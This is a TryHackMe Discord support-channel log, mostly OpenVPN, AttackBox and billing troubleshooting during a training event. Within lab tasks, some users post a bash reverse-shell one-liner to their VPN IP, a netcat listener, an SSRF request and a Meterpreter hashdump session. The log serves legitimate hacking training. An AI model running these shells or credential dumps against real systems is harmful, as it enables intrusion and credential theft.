site-support

[brisk mural]

something strange happens to me

when i go to leaderboard and i look at my country rank this month i'm 22

but i don't appear in it

[storm needle]

hey, im having openvpn issues? it was working two days ago, im not sure what changed

[halcyon pulsar]

just an empty blue screen

[acoustic estuary]

is there something going on with VPN? I show connected on my side, access page shows nothing and I cannot connect to box.

10.10.10.10 not working

nvm, got it to work using cli, seems network manager wasnt working for some reason?

[ember osprey]

Works fine for me 😦 . Could you provide a ss of what's going on 🙂 ?

[south glade]

Hey! I am doing the latest quest in Advent of Cyber (Task 11 about XXE), and the Burp Suite browser doesn't load a Wareville application hosted at my Target IP Address. The website works when I access it from a normal browser (Firefox). I followed the exact steps in the instructions. I am wondering is it my fault or something on your side?

[jolly condor]

Hi on Day 3, why won't this website load

(I'm connected through openvpn even checked it with 10.10.10.10)

[jolly condor]

anyone who can help?

[weary spindle]

Did you add it to your hosts

[jolly condor]

I’m sorry I don’t understand what that means

[weary spindle]

You need to add it to /etc/host

[jolly condor]

where do I have to add it?

[brisk mural]

sudo nano /etc/hosts

[jolly condor]

so this?

omg it worked thanks @brisk mural and @weary spindle

[scenic torrent]

Gave +1 Rep to @brisk mural (current: #2439 - 1)

[jolly condor]

any explanation as it why it requires to add it to host

[gloomy yacht]

whats the issue?

echo "10.10.249.XX http://papash3ll.thm" > /etc/hosts
root@ip-10-10-75-213:~# cat /etc/hosts
10.10.249.XX http://papash3ll.thm

browser: http://papash3ll.thm
server not found

[brisk mural]

some sites are not available in a common DNS, so you have to add it to hosts so a domains points to an ip

that way your device will recognize it

[upbeat quarry]

the format for /etc/hosts is: 10.10.249.XX papash3ll.thm, i. e. no http
when you browse to the server you use http: http://papash3ll.thm

[gloomy yacht]

thank you!

[brisk mural]

i need help in the AC windows room, i dunno how to connect with rdp

[upbeat quarry]

use remmina

[brisk mural]

thanks

Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose                                             New Password: ********                                                                 VERBOSE: Performing the operation "Set-ADAccountPassword" on target                    "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".                                           Set-ADAccountPassword : Access is denied                                               At line:1 char:1                                                                       + Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecure ...            + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                    + CategoryInfo          : PermissionDenied: (sophie:ADAccount) [Set-ADAccountPass     word], UnauthorizedAccessException                                                      + FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.UnauthorizedAccessExceptio     n,Microsoft.ActiveDirectory.Management.Commands.SetADAccountPassword      

i'm having this issue now

https://tryhackme.com/r/room/winadbasics

still here

[prime ridge]

Hey quick question, I’m trying to load the attack box on advent day 1. When I open it and it says to enter the Machine_IP the browser does nothing? Any tips?

[brisk mural]

changed the password for something else and it worked

[naive dust]

I don't know why but I try yo start the attackbox of THM and sometimes it works but most of the time it says I've used it for more than an hour even the days that I haven't used it. Does anybody know how to fix that?

[naive dust]

This has stopped me from completing tasks many times 😦

[ocean crater]

Maybe your time zone is set to something other than your own country

[west chasm]

Changing your country's flag

Article Link

https://help.tryhackme.com/en/articles/6611897-changing-your-country-s-flag

Dec 6, 2024, 12:47 AM

[torn pivot]

Guys idk am i the onyl one but attackbox terminal is so bugged when i use msf it just doesnt work i cant do anything

im siitting here at 4 am trying to fix this shit for 30 minutes to do a task and i just cant

[round ledge]

How can I change my country associated with my profile? It thinks I'm in the UK, but I'm in the US. I lost a day on my streak because of the time change and want to make sure I fix this before the end of AoC. I can't seem to find it in my Manage Account page, only a phone number next to the country flag that seems to have no affect on it.

[ember osprey]

Check out this article 🙂

https://help.tryhackme.com/en/articles/6611897-changing-your-country-s-flag

[round ledge]

Wow, that was probably the strangest way I've ever seen to set that. Thank you though!

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #8 - 902)

[naive dust]

i got a question about leaderboards

i feel like i always have the same rank at 10 does it only show random 10? (probably) but if its not 10 and something else like 8 is it actual top 8?

[ember osprey]

Only a first one to get the flag get first blood points ( more points than others ) . Everybody else get the same number of points therefore all will be ranked the same 😄

[naive dust]

ooh true but what about in sidequest where not everyone has finished

[ember osprey]

Same principle 🙂 . Only first bloods get higher amount of points , everybody else get the same amount 🙂 .

[naive dust]

ok thanks

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #8 - 904)

[marble breach]

Done!

[empty sentinel]

Hi, Anyone Has problem with virtual machine?
I'll doing a Linux fundamentals part1 - second day i'm fighting with starting a virtual machine - machine in theory is started, but screen is black and don't display a terminal - i was waiting about 20-30 minutes and it's doesn't working

[ember osprey]

Could you provide a screenshot of what's going on 🙂 ? Have you tried to start the machine in full-screen mode 🙂 ?

[empty sentinel]

i can't turn on a fullscreen mode 🙂 when i click on it - nothing happens

[ember osprey]

Press the leftmost button on the menu below the machine 🙂

[empty sentinel]

yeah, i know, but it doesn't work 😉 i can't paste a screenshot - i don't know why 😄

[ember osprey]

You will need to verify first 😄

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[empty sentinel]

all clear 😄

that looks my machine 🙂

[ember osprey]

Works fine for me 😦 . Do you have any browser extension that may block or suchlike 🙂 ?

Could you try to use a different browser 🙂 ?

I'm on Chrome

[empty sentinel]

no, clear firefox - i will clean cookies, maybe it will help

[empty sentinel]

i was trying on chrome and firefox

[ember osprey]

Give it a go 🙂

[empty sentinel]

nothing change - i will try on other computer maybe

[ember osprey]

😭 😭

[empty sentinel]

thx for help

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 918)

[crystal trellis]

hey i dont see option for start attackbox

[ember osprey]

Try to start it in some other room 🙂

[halcyon pulsar]

Same for me, and I tried on an other computer

[empty sentinel]

it works? 🙂

[modest surge]

How do streak freezes work? I had 8 days, missed a day so it should be 7? But I wasn't able to do anything yesterday and now I'm down to 0 days

I'd gotten the 1 day and 7 day freezes from the last ticket event

[ember osprey]

They were both "activated" at the same time 😦 . Only difference is that with a 7 day freeze you can skip up to 7 days and with 1 day freeze you can skip only one day .

[modest surge]

.... that's dumb

[ember osprey]

Yeah, it's a bummer 😦

[halcyon pulsar]

Nop...

[tame mist]

I have connected to the vpn according the "curl 10.10.10.10/whoami" command as it returns the vpn's ip
But can't access the http://10.10.10.10/ or any other website from the tasks

[empty sentinel]

not good 😦

[crystal compass]

cant do the last challenge on tryhackme owasp with netcat

doing nc -lvnp 8087 but doesnt work

it says Listening on 0.0.0.0 8087 and doesnt progress

anyone?

[weary spindle]

Are you using anything to call to NC?

[south glade]

Is there anyone who can help/advise? Today I still encounter the same problem, and can't go through the task. The Burpsuite browser doesn't work while Intercept is on.

[crystal compass]

wdym?

no

like what

[weary spindle]

You need to get a reverse shell to call back to nc

[crystal compass]

where can i find this?

[weary spindle]

What does the task tell you to do?

[crystal compass]

to find a flag

i tried to do reverse shell

Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?

[weary spindle]

Did you manage to find what the question is looking for?

[ocean crater]

Is proxy in your browser on?

[crystal compass]

no

[weary spindle]

Then you need find that, without it,.nc -lvnp will be useless

[crystal compass]

tried to do on one terminal bash -i >& /dev/tcp/10.6.30.105/8087 0>&1

and nc -lvnp 8087 on the other

[ocean crater]

Is that the attackbox ip or the task vm ip?

[crystal compass]

where can i find this ip

from 10.10.10.10 right?

[tame mist]

no, I don't use any proxy. which proxy?

[crystal compass]

yeah i think so

[ocean crater]

You often use a proxy when using burp suite, sometimes people forget to turn it off after they are done with burp suite

[crystal compass]

now site doesnt load

[ocean crater]

Do you use attackbox or vpn @crystal compass

[crystal compass]

yes

vpn

[ocean crater]

Is that the ip of the task vm? (it should not be)

[crystal compass]

yes it is

wait

what task vm

its the vpn ip

[ocean crater]

that should be the ip displayed on https://tryhackme.com/r/access (I think)

[ocean crater]

the one displayed like this

[crystal compass]

target machine ip?

[ocean crater]

target machine and task vm are the same thing

Most times people say target machine

[crystal compass]

ok i used this

not my vpn ip

but still the same

[ocean crater]

You should use the ip displayed here

[crystal compass]

i dont see something there

[ocean crater]

under Internal Virtual IP Address?

[crystal compass]

yes

0.0.0.0

[tame mist]

i can ping the websites in tasks from my terminal after connecting to the vpn but can't access them in the browser

[crystal compass]

while i have connected to VPN

[ocean crater]

does it say connected under Connection?

[crystal compass]

no

but from cmd is connected

[ocean crater]

huh

[crystal compass]

??

[ocean crater]

Are you sure you are using the tryhackme vpn, do you have access to 10.10.10.10

[crystal compass]

yes

[ocean crater]

Im sorry but I don't think I can help you then

[crystal compass]

ok thanks

[ocean crater]

That's what I meant by sometimes people leaving proxy on by mistake, there is a proxy extension in Firefox called foxyproxy that sometimes people leave on, but if that is not the case then I don't know.

[crystal compass]

anyone?

[weary spindle]

Which machine are you trying to access?

[tame mist]

okay

[crystal compass]

attackbox

@weary spindle

[weary spindle]

Why are you trying to access the Attackbox?

[crystal compass]

thats what the question says

[weary spindle]

Show me.

[crystal compass]

Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?

[weary spindle]

Ok, In this case, substitute Attackbox with VM.

It really just means the machine you're using to attack from.

[crystal compass]

ok thats what i did

my OpenVPN IP

[weary spindle]

So send the request back to your machine, using the URL

[crystal compass]

thats what i did

cant do it

giving up

[stray raven]

I got an issue while connecting to the attack box and when I was trying to open sublime text, nothing occured

I tried it yesterday and also today but same thing happened

[crystal compass]

GET /download?server=10.10.48.214:8087&id=75482342 HTTP/1.1
Host: 10.6.30.105/8087
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

10.6.30.105/8087 is my OpenVPN IP

and 10.10.48.214 is the URL IP

im i doing something wrong?

[balmy whale]

Hello support, please i am having issue redeeming my THM voucher. When i input the voucher code and click on redeem voucher, the voucher page just vanishes without doing anything. I have been trying this for a while now, and it is affecting my participation in AOC. Kindly assist, thank you.

[weary spindle]

AoC is free, it's not a subscription room.

[gentle yew]

Hello

There is no problem when testing the Windows machine I prepared in my own laboratory environment, but when I install tryhackme, important ports such as port 80 on the machine are filtered.

[weary spindle]

Wdym install Tryhackme?

[balmy whale]

I know @weary spindle. I need help with redeeming the voucher please.

[weary spindle]

you'll need to reach out to support.

[sacred star]

I am currently solving cyber advent . The attack box is slow and browser is not running urls

[jolly condor]

Just visit the urls using your browser (as Internet access in the Attackbox is restricted to subscribers only).

[hollow fossil]

apologies for asking here, but somehow my tun0 interface is gone, normally I just use openvpn, any idea how to get it back?

[short ice]

Someone knows any website or app were can i use number like tempmail

[gusty nymph]

Hey, my other account got banned, I think because I posted a particular binary file from Side Quest 1 into a groupchat. If you are familiar with the side quest you can probably guess which binary it was. Unforunately I can't verify my new discord account because the token is in use with another account. Can I get an administrator to either de-verify my old account or maybe generate a new token or something?

[gusty nymph]

To clarify, it was Discord's heuristics that flagged it as malware and banned the account

[versed badge]

Hey, trying to download the OpenVPN configuration, It's downloading username.ovpn but it's 0 bytes, also tried to regnerate it through the access page, I've also tested to switch VPN server's but it also downloads a 0 byte file. any suggestions?

[alpine lion]

Hello there, Ive got a problem with my subscription, has not been activated, anyone can advise?

[vernal charm]

well, hi guys
(Again saying the context of the message as I realized something new)
I paused my subscription on 30th of November due to college overly taking my time schedule, and I realised that now I am free. Is there anyway to renew my subscription instead of waiting until Dec 30th? I tried clicking cancel my subscirption button and it tells me "Your subscription is currently paused."
I tried inspecting the site and got this from the browser console: https://imgur.com/a/iOppUrv
Can the problem be resolved from my side??

[torn pivot]

meterpreter > migrate 760
[] Migrating from 1992 to 760...
[] Migration completed successfully.
meterpreter > hashdump

[*] 10.10.206.20 - Meterpreter session 1 closed. Reason: Died
?

[steel cloud]

Hi, on day 1 when I click on the link for the script it doesn't load. Any tips? It opens up a tab in firefox but doesn't load the link, eventually times out.

[ember osprey]

If you aren't premium user AttackBox don't have Internet access 😦 , try to use your own browser instead 🙂 .

[mystic hearth]

Hi Stamatis, there are a couple issues here, mostly (no offense just trying to help) with your networking knowledge.

The point of OpenVPN (well there are many but ...) is that you can use your own machine and OS to do the work on the questions in rooms/tasks instead of the provided AttackBox. (For me, I use MacOS, and prefer to use it for ... pretty much everything, so when I connect using OpenVPN, my machine is the "AttackBox" and there is no need to click that button)

I see you posted an image from visiting 10.10.10.10. Good, that will display your IP (and so will curl 10.10.10.10/whoami).
The /8087 you put in your last post is (maybe not?) relevant.
I suppose (could be wrong) that's a port number.
For sure not CIRD notation.

I see as well you're trying to do a reverse shell ... I don't think (could be wrong) I'd be using the port 8087 to listen with netcat for the reverse shell ... in the script (whatever lang it's in) you'll see a port number somewhere. Just read it out as best you can.

IF the port number isn't 8087 in the scriot ... well ... that's a problem.

You won't get a revere shell b/c ur not listening on the correct port.

Perhaps the script is set up to listen on 8087, IDK what ur using to create the reverse shell ...
If that is the case, cool! nc -blah 8087 should work.

I'd check out the script I'm using for the reverse shell, somewhere in there will be an IP (You need to use your attack box which is likely your machine when using OpenVPN) and a port number (which could be anything, just check out the script).

[steel cloud]

I thought the advent of cyber was free?

[ember osprey]

It is 🙂 .

[mystic hearth]

You can use OpenVPN, not hard to set up at all (Just need to dl a single file and run a single command), and you'll be able to use your own internet connection to solve the very fun challenges!

[gusty nymph]

Anybody? Bueller?

[ember osprey]

Sorry but no hints are allowed for side quest 😦

[gusty nymph]

I'm not asking for hints

Did you read what I wrote

[ember osprey]

You need to get in touch with mods to verify your new discrod 🙂

[gusty nymph]

Yes that's why I'm posting in the support channel, is this not the correct venue?

[ember osprey]

Yes , it is 🙂

[gusty nymph]

Ok thx

[steel cloud]

I'm trying to run Linux commands in my terminal on my macbook but the command exiftool isn't working. How do you use it on your mac?

[ember osprey]

You to install , I would recommend you to install VM with Linux on your system 🙂

[wooden star]

hai i'm new to cyber security, pen testing, ethical hackin, everything. Non native english speaker. Sorry for my english. I'm from india.

I used debit master card to subscribe premium monthly pack, but I was unable to subscribe, transaction was failed, I don't know why

[barren glacier]

my openvpn error

2024-12-07 00:15:19 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2024-12-07 00:15:19 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2024-12-07 00:15:19 Note: '--allow-compression' is not set to 'no', disabling data channel offload.
2024-12-07 00:15:19 OpenVPN 2.6.12 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2024-12-07 00:15:19 library versions: OpenSSL 3.2.2 4 Jun 2024, LZO 2.10
2024-12-07 00:15:19 DCO version: N/A
2024-12-07 00:15:19 OpenSSL: error:0480006C:PEM routines::no start line:Expecting: CERTIFICATE
2024-12-07 00:15:19 OpenSSL: error:0A080009:SSL routines::PEM lib:
2024-12-07 00:15:19 Cannot load inline certificate file
2024-12-07 00:15:19 Exiting due to fatal error

my openvpn error how to solve

[ocean valley]

Having some unexpected behaviour when using the AttackBox.
After logging into the TryHackMe site using Firefox the AttackBox is resizing. Doesn't matter if using split-view in the same browser tab or full-screen in a separate browser tab.
Any suggestions how to lock in the screen size?

Only starts after logging into TryHackMe site and opening one of the modules

[wooden star]

hey I get verification code in watsapp RockSender is this ok?

[gleaming wren]

are you using sudo?

[gentle yew]

I can install the machine on tryhackme, but when I install it, some ports appear to be closed.

[upbeat quarry]

browsing to www.tryhackme.com using the browser of THM AttackBox and then logging into your THM account will have that behaviour
that is what I have always experienced and I consider this as a normal side-effect of THM AttackBox
in practice, I personally do not have cases requiring to logging in to THM from THM AttackBox

[ivory spruce]

Can you share the full command you are running?

[upbeat quarry]

can you give some examples?

[barren glacier]

Now ok no problem Thanks

[ivory spruce]

I don't think this has anything to do with TryHackMe. In any case, not clicking on suspicious links or not sharing one-time codes with anyone you are not familiar with or being vigilant is always good practice.

[gentle yew]

For example, the 80 port of the machine is open in my test environment, but when I install tryhackme, the 80 port does not appear.

[ivory spruce]

Can you clarify what exactly are you "installing"? Folks here would able to assist you then.

[gentle yew]

I am creating a ctf machine myself for tryhackme

[ivory spruce]

Are you referring to the Firefox browser on the Attackbox?

[gentle yew]

I am creating a ctf machine myself for tryhackme. There is no problem when I try this machine in my own test environment, but when I install tryhackme, the 80 port of the machine, which should be open according to the scenario, is closed, for example.

[ivory spruce]

Ah.. you are uploading the VM to THM as a room creator?

[gentle yew]

yes

[gentle yew]

yes But the machine does not work properly on tryhackme, the ports come with filters.

[ivory spruce]

Might I suggest that you verify your account by following the steps in the succeeding message.

[west chasm]

@gentle yew

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Dec 7, 2024, 9:49 AM

[ivory spruce]

After verifying your account, you may politely ask one of the Mods who are online how you can get the room creator role or its equivalent to access that channel. Folks there can better assist you.

[ivory spruce]

Suggest reaching out to THM Support as they can better assist on payment-related concerns.

[west chasm]

@wooden star

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 7, 2024, 9:51 AM

[ivory spruce]

You'll need to politely ask a Mod (you may check which ones are available) to remove the ban on your other account and they would gladly do so if and when they can verify that it there hasn't been an actual violation of the rules or THM ToS.

[ivory spruce]

Have you checked whether the target is still up (if it didn't time out)?

[ivory spruce]

If payment has been made, please drop an email to THM Support. They don't work on weekends though so you'll have to wait until the weekdays and they can get pretty busy during the AOC event.

[west chasm]

@alpine lion

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 7, 2024, 10:00 AM

[ivory spruce]

Which THM OpenVPN server are you downloading config file from? Have you tried switching to another THM OpenVPN server?

[ivory spruce]

I would suggest dropping an email to THM Support.

[west chasm]

@vernal charm

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 7, 2024, 10:02 AM

[ivory spruce]

Have you tried to re-connect to THM OpenVPN when you lost it?

[elder hollow]

Day 1 challenge I copy youtube url doesn't copy

[ember osprey]

Check out this article 🙂

#site-support message

[elder hollow]

Minimize browser go to close what problem

[elder hollow]

U not mention this article

[ember osprey]

#site-support message

Yes this 🙂 . It shows you how to copy things via clipboard 😄

[elder hollow]

But clipboard not work

[ember osprey]

How ?

[elder hollow]

I don't know

[ember osprey]

What happens when you try ?

[elder hollow]

Day 1 challenge youtube url copy and paste browser but copy but paste doesn't work

[ember osprey]

Try to follow along with the Tasks video 🙂

[elder hollow]

Which video

[ember osprey]

https://www.youtube.com/watch?v=CYYD_fbwHtg

[ocean valley]

Thank you.
There's a module for TheHive Project which requires a PCAP file to be uploaded as an observable to get the flag. Wasn't sure how else to get the file other than logging into THM from the AttackBox and clicking the "Download Task Files" button

[scenic torrent]

Gave +1 Rep to @upbeat quarry (current: #22 - 433)

[ocean valley]

Yes

[fathom steppe]

Updated your Kali ? (apt update && apt upgrade), try other VPN Region etc?

[quick cobalt]

I'm having trouble connecting to the THM server with OpenVPN

I've DL my VPN configuration file, added it to OpenVPN but it wont connect and I get time-out error cant connect. ANyone had this? I've opened the program as adminstrator

Okay thelink in the OpenVPN room https://openvpn.net/client/client-connect-vpn-for-windows/ didnt work, but the link in the tryhackme.com/r/access link https://openvpn.net/community-downloads/ did work, seems to be two different programmes

[upbeat quarry]

Generally, the task files required for a room are stored on THM AttackBox under /root/Rooms
too bad that for TheHive Project that is not the case 😭
I can see 2 options then:

• if you are a subscriber, then THM AttackBox has internet access and you can use a free upload/share service (like wetransfer, etc.):
  • you download the task files to your host
  • you upload them to the upload/share web server
  • from the AttackBox, you download the files
• the other option is to have a local VM like Kali connected to THM VPN:
  • you download the task files to your Kali VM
  • you start a web server on your Kali VM with python: python -m http.server
  • in THM AttackBox, you download the task files with wget from the python web server

[frigid gull]

Hi, I am unable to change my email to my student email on the tryhackme website, i think it may have been because i used google to make my account through SSO. may i know what are my next steps to change my email to my educational email?

[ember osprey]

Try to contact the support 🙂

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 7, 2024, 1:33 PM

[frigid gull]

thanks

[upbeat quarry]

like KGB said, THM support is your interface
however, you can already check this answer from Scrubz: #site-support message

[ember osprey]

Thanks for update 😄

[scenic torrent]

Gave +1 Rep to @upbeat quarry (current: #22 - 434)

[naive dust]

I checked my flag and it's the same as the country I live in

[toxic skiff]

I use the VPN connection via OpenVPN as described to access THM via PuttY. So, I've started a machine in the current room (button on the top right place of a task). Where do I find the ip-address and login credentials to connec to the machine via PuttY?

[celest minnow]

I'm trying to subscribe to premium but keep getting "Something went wrong...". Anyone know what the issue might be?

[upbeat quarry]

which machine are you trying to connect? not all all machines come with credentials

can you check your VPN config file is not empty

[cobalt sun]

Are you using a VPN?

or any privacy based browser addons?

[toxic skiff]

I am not sure if I try to connect to the correct one. I work on task 3 of the room Network Services Two. I tried the ip-address in the white section. On the top, the option "Access maschines" is red and when I click on it, it says I am disconnected. But the VPN is up and under the "Access" tab in my account settings, it shows me as connected. The openVPN Icon on my windows notebook is also green.

Earlier this day, I completed the previous room Network Services One. There I have started the AttackBox in the browser and was able to find the ip-address as well as login credentials of this Box. Using these credentials, I was able to connect via Putty. But right now, as I have not purchased a premium subscription, I am not able to open AttackBox once again today.

[upbeat quarry]

check the Pinned Messages: the Access Machine is broken, i. e. unreliable: #site-support message
if you can ping 10.10.10.10, you are connected to THM VPN
about target VM for Network Services 2 ("Enumerating NFS"), you are given credentials by way of discovering a username and an ssh identitfy file (id_rsa)
I understand that you have connected your Windows host to THM VPN Doing so, your host is on the same network as the attacking machines of THM users attacking target VMs, but possibly also your own host machine, which is a security risk You may want to consider using a VM with, say, Kali on a hypervisor like VirtuablBox of VMware installed on Windows

[tender garden]

Hi folks! I missed the Friday sale. Is it possible to get the yearly subscription at that price again?

[ember osprey]

I think you can use code AOC2024 for 30% off annual sub 😄

[zinc briar]

Hey, can i ask here for help, because my openvpn doesn't work anymore? Or where can i get support?

[ember osprey]

What's the problem 🙂 ? Can you access http://10.10.10.10/ when you start openVPN 🙂 ?

[zinc briar]

No i cant even connect. It always worked fine, but since yesterday i got following error:

2024-12-07 18:23:10 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2024-12-07 18:23:10 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2024-12-07 18:23:10 Note: '--allow-compression' is not set to 'no', disabling data channel offload.
2024-12-07 18:23:10 OpenVPN 2.6.12 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2024-12-07 18:23:10 library versions: OpenSSL 3.3.2 3 Sep 2024, LZO 2.10
2024-12-07 18:23:10 DCO version: N/A
2024-12-07 18:23:10 OpenSSL: error:0480006C:PEM routines::no start line:Expecting: CERTIFICATE
2024-12-07 18:23:10 OpenSSL: error:0A080009:SSL routines::PEM lib:
2024-12-07 18:23:10 Cannot load inline certificate file
2024-12-07 18:23:10 Exiting due to fatal error

[ember osprey]

Try to change VPN server and re-generate the file 🙂

[zinc briar]

tried everything already... no success

[ember osprey]

You're running with sudo permission ?

[zinc briar]

yes

[ember osprey]

Try to run troubleshooting script

[scenic torrent]

Gave +1 Rep to @upbeat quarry (current: #22 - 435)

[ember osprey]

https://github.com/tryhackme/openvpn-troubleshooting

[zinc briar]

Nothing works... I even tried US-West

[+] Stable internet connection
[+] OpenVPN is installed
[-] tun0 interface does not exist
Would you like the script to attempt a connection automatically (Y/n)? Y
[+] Connecting....
[-] Fatal Error: Inline Certificate is invalid
Please regenerate your VPN config on the access page (https://tryhackme.com/access)
If errors persist, change server then regenerate the config.
If all else fails, ask for further assistance on the TryHackMe Discord server, subreddit or forums.
[-] Exiting

[upbeat quarry]

which country are you connecting from?

[zinc briar]

italy, and yes before trying the us server i tried al eu server

[upbeat quarry]

you are running openvpn from Kali Linux?

[zinc briar]

yep

[upbeat quarry]

are you using WSL?

[zinc briar]

vm-ware, but it always worked fine...

[upbeat quarry]

have you ever been able to connect to THM VPN or is it the first time?

[zinc briar]

yes, i always used it and just since yesterday it suddenly stopped working...

[sand radish]

why cant i pay using my debit card? I used different browser, different cards, I have international payments on and its visa card. Why isnt it working?

[upbeat quarry]

can you make a test using a different network connection Like some users set up a hot spot with their smartphone, and sometimes VPN works through that alternative network

[zinc briar]

yes i can try but i always used this network

[zinc briar]

same error...

[upbeat quarry]

I have run out of ideas here
have you made any change to your Kali machine before it stopped working (firewall, etc.)?

[zinc briar]

No i made no changes...
I'll try to download openvpn on my win machine and try there or i get a fresh install of linux and check if my config file is broken or my kali box...

[upbeat quarry]

for Windows, make sure to check this: #site-support message
please provide feedback on your results, it is interesting to know how the story ends 🙃
thanks

[scenic torrent]

Gave +1 Rep to @zinc briar (current: #2452 - 1)

[zinc briar]

Yes, I'll let you know. But for now i stop and i will try tomorrow again.

[misty badger]

@ember osprey not sure if you’re the right person but I’m doing an old splunk room and found a question that can’t be answered because the pastebin that gets the answer is no longer available. Is there where I report this stuff?

[ember osprey]

Could you provide a room link and tell me which question 🙂 ?

[misty badger]

Yep! https://tryhackme.com/r/room/splunk3zs …task 7, question 4

[ember osprey]

What's the pastebin link ?

[misty badger]

I checked a write up and my hunch was right, I found the right pastebin link

One sec I’ll get it

https://pastebin.com/sdBUkwsE

I wonder if pastebin thought it was an actual data leak or something 😅

[ember osprey]

Wayback ftw 😄

https://web.archive.org/web/20230730134607/https://pastebin.com/sdBUkwsE

[misty badger]

Aaaah good call

Ill have to remember that for other ones like this I come across. Thanks

[ember osprey]

Enjoy rest of the room 😄

[short ice]

is there anyone online

[plush bay]

yeah shadow was just taking a long shower

[short ice]

[verbal lake]

Can someone help me how to search for the paths of a url? I'm using ffuf but I don't know what I'm doing wrong

[short ice]

Tryhackme is useful to learn hacking and pen testing

Or not

[plush bay]

???

pablo might have screwed over other users here by cross posting the question in #general where shadow answered it

also should probably put the questioning on what you mean on the or not part

[short ice]

I mean it’s useful or not

[plush bay]

it is as useful as the time investment you place into using it to learn while researching from other places too

[short ice]

Hacker101

[plush bay]

also something that massively helps is note taking and teaching your rubber ducky or pet rock

[short ice]

Do you know Hindi

[plush bay]

nopes

[ocean crater]

Check that you typed it in correct

Otherwise reaching THM via email is probably best for payment issues

[west chasm]

TryHackMe's Email

TryHackMe's support email address.

​

[e-mail]

TryHackMe Socials · Dec 7, 2024, 11:05 PM

[ocean crater]

You could also try the on-site support button instead of email

[crystal barn]

Has somebody solved the OpenVPN issue? I also can't connect to the VPN anymore.

sudo openvpn plmi\(1\).ovpn
2024-12-08 00:23:47 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2024-12-08 00:23:47 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2024-12-08 00:23:47 Note: '--allow-compression' is not set to 'no', disabling data channel offload.
2024-12-08 00:23:47 OpenVPN 2.6.12 aarch64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2024-12-08 00:23:47 library versions: OpenSSL 3.0.13 30 Jan 2024, LZO 2.10
2024-12-08 00:23:47 DCO version: N/A
2024-12-08 00:23:47 OpenSSL: error:0480006C:PEM routines::no start line:Expecting: CERTIFICATE
2024-12-08 00:23:47 OpenSSL: error:0A080009:SSL routines::PEM lib:
2024-12-08 00:23:47 Cannot load inline certificate file
2024-12-08 00:23:47 Exiting due to fatal error

I've already regenerated the *.ovpn file

[plush bay]

what country are you in??? just sanity check as some countries block vpns

[crystal barn]

Germany

Last week everything worked with EU-Regular-1.

I think it's a problem with the EU configuration files. US-West-Regular-1 works.

[short ice]

Try chatgpt

[plush bay]

huh weird

did you try all the eu servers???

[crystal barn]

no only 1 and 2

[ocean valley]

Thank you for the recomendations

[scenic torrent]

Gave +1 Rep to @upbeat quarry (current: #22 - 436)

[naive dust]

I need help setting up my own VM and connecting it to the AoC room (I haven't used OpenVPN or made my own VM so I'm a bit intimidated by it). Could someone help me with getting a VM set up?

[ember osprey]

Try to ask here https://discord.com/channels/521382216299839518/522158539129618453 🙂

[ember osprey]

You can download VM image from Kali website and you can download Oracle Vbox hypervisor to run the image on it 😄

[cobalt nova]

Is there any way I can link my tryhackme account on here my other discord is banned...

[ember osprey]

You need to get in touch with mods 🙂

[cobalt nova]

@torn citrus @stray cove Is there any way I can link my tryhackme account on here my other discord is banned...

[sacred ocean]

Can someone help me with what the computer would be and what I should use for user name

[ember osprey]

Change computer to IP of the machine 🙂

[wooden star]

hi and i finally subscribed monthly pack, visa debit card worked for me. master and rupay debit cards didn't worked.

[ember osprey]

Welcome 😉

[wooden star]

why there is no link to this discord from tryhackme website?

i used google to enter into this discord website

[sacred ocean]

ok ok

[tender garden]

many thanks

[scenic torrent]

Gave +1 Rep to @ember osprey (current: #7 - 1015)

[gleaming wren]

